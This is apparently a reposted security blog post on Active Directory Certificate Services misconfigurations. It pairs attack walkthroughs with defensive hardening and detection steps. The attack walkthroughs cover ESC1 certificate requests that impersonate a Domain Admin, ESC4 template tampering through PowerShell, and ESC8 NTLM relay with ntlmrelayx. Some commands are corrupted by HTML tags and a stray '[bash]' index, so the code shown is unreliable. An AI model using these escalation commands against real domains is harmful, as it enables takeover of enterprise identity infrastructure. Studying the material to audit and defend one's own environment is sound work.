Listen to this Post
Introduction:
Active Directory Certificate Services (ADCS) has become a critical yet frequently overlooked component in enterprise networks. Its inherent complexity and the specialized knowledge required to manage it have created a fertile ground for attackers, turning digital certificates into powerful vectors for domain escalation and persistence.
Learning Objectives:
- Understand the core ADCS misconfigurations that lead to critical vulnerabilities like ESC1, ESC4, and ESC8.
- Learn to use free tools to audit your own ADCS environment for these dangerous misconfigurations.
- Implement defensive hardening strategies to secure certificate templates, permissions, and server settings.
You Should Know:
1. Enumerating Your ADCS Environment with Certify
Before attackers can exploit your certificate services, they must first discover them. Certify is a C tool that excels at enumerating ADCS and identifying misconfigured templates from a compromised user’s context.
Step-by-step guide:
First, obtain Certify and execute it from a system where you have a foothold.
Enumerate all certificate authorities and templates Certify.exe find /vulnerable
This command queries the Active Directory for Certificate Authorities (CAs) and then checks all published certificate templates for known misconfigurations. The `/vulnerable` flag filters the output to only show templates with settings that could be abused for privilege escalation, such as overly permissive enrollment permissions or dangerous issuance policies. A successful run will list templates, their configurations, and flag any that are susceptible to attacks like ESC1.
2. Exploiting ESC1 for Domain Privileges
ESC1 is a common misconfiguration where a certificate template allows low-privileged users to request a certificate that permits client authentication and allows the requester to specify a different Subject Alternative Name (SAN), often the Domain Admin.
Step-by-step guide:
Using the vulnerable template name found with Certify, request a certificate specifying a privileged SAN.
Request a certificate using a vulnerable template and specify a Domain Admin as the SAN Certify.exe request /ca:CA-DC-01.undercode.local\undercode-CA-DC-01-CA /template:VulnerableTemplate /altname:UNDERCODE\DomainAdmin
This command contacts the CA (CA-DC-01.undercode.local\undercode-CA-DC-01-CA) and requests a certificate based on the “VulnerableTemplate”. The `/altname` parameter is the critical component, allowing the attacker to impersonate the “DomainAdmin” account. Once the certificate is issued, it can be used with a tool like Rubeus to request a Kerberos Ticket-Granting-Ticket (TGT), effectively granting the attacker the privileges of the impersonated account.
- Abusing Weak Template Security (ESC4) with PowerShell AD Module
ESC4 refers to a scenario where a user has write permissions on a certificate template. An attacker can modify a template to make it vulnerable (like ESC1) and then request a certificate.
Step-by-step guide:
Using the Active Directory PowerShell module, an attacker can query and then modify template permissions.
Discover templates where the current user has write property rights
Get-ADObject -LDAPFilter "(objectclass=pkicertificatetemplate)" -Properties Name, DisplayName, nTSecurityDescriptor, msPKI-Certificate-Name-Flag | Where-Object { ($<em>.nTSecurityDescriptor.Access | Where-Object { $</em>.IdentityReference -eq "$env:USERDOMAIN\$env:USERNAME" -and $_.ActiveDirectoryRights -match "WriteProperty" }) }
Modify the template's settings to enable the SAN flag (msPKI-Certificate-Name-Flag)
Set-ADObject "CN=WebServer,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=undercode,DC=local" -Replace @{'msPKI-Certificate-Name-Flag' = 1}
The first command lists all templates and filters for those where the current user has `WriteProperty` rights. The second command modifies a specific template (“WebServer”) to set the `msPKI-Certificate-Name-Flag` to 1, which enables the requester to supply a custom SAN. After this modification, the attacker can proceed with an ESC1-style attack.
- Relaying to ADCS Web Enrollment (ESC8) with ntlmrelayx
ESC8 exploits the fact that the ADCS Web Enrollment and Certificate Authority Web Enrollment services are often configured to allow NTLM authentication and do not require Extended Protection for Authentication (EPA). This makes them viable targets for NTLM relay attacks.
Step-by-step guide:
Set up an NTLM relay to the ADCS HTTP endpoint.
Relay captured hashes to the ADCS web enrollment service ntlmrelayx.py -t http://ca.undercode.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
This command uses `ntlmrelayx` from the Impacket toolkit. It waits for incoming SMB connections (or other NTLM authentication attempts), relays the captured NTLM credentials to the target (http://ca.undercode.local/certsrv/certfnsh.asp`), and uses the ADCS module (–adcs`) to request a certificate for the relayed user based on the specified “DomainController” template. The resulting certificate (in PFX format) is then used for authentication, effectively compromising the relayed user’s identity.
5. Hardening Certificate Templates with dsacls
Prevention is key. Regularly audit and restrict permissions on certificate templates to prevent unauthorized modifications and enrollment.
Step-by-step guide:
Use the `dsacls` command to check and modify permissions on a template.
Check current permissions on a certificate template dsacls "CN=WebServer,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=undercode,DC=local" Remove dangerous write permissions from a user or group dsacls "CN=WebServer,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=undercode,DC=local" /R "UNDERCODE\Domain Users"
The first command displays all Access Control Entries (ACEs) on the “WebServer” template. Look for overly permissive rights like WriteProperty, WriteDacl, or `AllExtendedRights` granted to non-admin principals. The second command removes (/R) all permissions for the “Domain Users” group on that template, ensuring only authorized accounts can modify it.
6. Monitoring for Suspicious Certificate Requests with PowerShell
Detection is crucial. Monitor the Windows Security event logs on your CA servers for anomalous certificate requests.
Step-by-step guide:
Query the event logs for specific Event IDs related to certificate issuance.
Query for successful certificate issuance events (Event ID 4886 on the CA server)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4886} | Where-Object { $_.Message -like "Template=YourSensitiveTemplate" }
Query for certificate requests for a sensitive template (Event ID 4887)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4887} | Where-Object { $_.Properties[bash].Value -eq "YourSensitiveTemplate" }
Event ID 4886 indicates a certificate was issued. Correlate this with 4887, which logs the request. Alert on requests for high-value templates (e.g., DomainController, KerberosAuthentication) from non-standard user accounts or machines, or requests that contain unusual SANs.
- Disabling NTLM on Web Enrollment to Mitigate ESC8
A primary mitigation for the ESC8 relay attack is to disable NTLM authentication on the IIS servers hosting the Certificate Authority Web Enrollment services, forcing the use of Kerberos.
Step-by-step guide:
Use the Internet Information Services (IIS) Manager GUI or PowerShell.
Disable NTLM authentication for the Default Web Site using PowerShell
Set-WebConfigurationProperty -Filter "/system.webServer/security/authentication/windowsAuthentication" -Name enabled -Value $true -PSPath "IIS:\" -Location "Default Web Site"
Set-WebConfigurationProperty -Filter "/system.webServer/security/authentication/windowsAuthentication" -Name providers -Value @('Negotiate') -PSPath "IIS:\" -Location "Default Web Site"
The first command ensures Windows Authentication is enabled. The second, and most critical, command configures the providers to only include ‘Negotiate’ (which favors Kerberos), thereby removing ‘NTLM’ from the list. This breaks the NTLM relay chain used in ESC8, as the relayed authentication will fail.
What Undercode Say:
- The Perimeter is Now Inside: ADCS vulnerabilities represent a fundamental shift. The most critical attack path is no longer a remote exploit over the internet, but the abuse of trusted internal services that are poorly configured. The assumption that internal services are “safe” is a dangerous fallacy.
- Complexity is the Enemy of Security: ADCS is a powerful but labyrinthine system. Its default configurations are not secure for high-privilege environments, and the knowledge gap for proper management is wide. This complexity directly translates into risk, as misconfigurations can remain hidden for years, creating a silent, ticking time bomb within the network’s core identity infrastructure. Organizations must prioritize specialized training and continuous auditing for ADCS as they would for any other critical asset.
Prediction:
The exploitation of ADCS misconfigurations will rapidly evolve from a technique used by advanced penetration testers to a mainstream attack vector integrated into automated ransomware and botnet kits. As awareness of these vulnerabilities spreads through blogs, podcasts, and tool releases, threat actors will begin incorporating ADCS enumeration and exploitation as a standard step in their attack chains. The sheer number of enterprise environments with vulnerable ADCS deployments guarantees a long tail of compromises. We predict a significant surge in incidents over the next 18-24 months where compromised user credentials are leveraged not for direct lateral movement, but to forge high-fidelity digital certificates that provide persistent, often undetected, domain-level access.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Lizenzor In – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
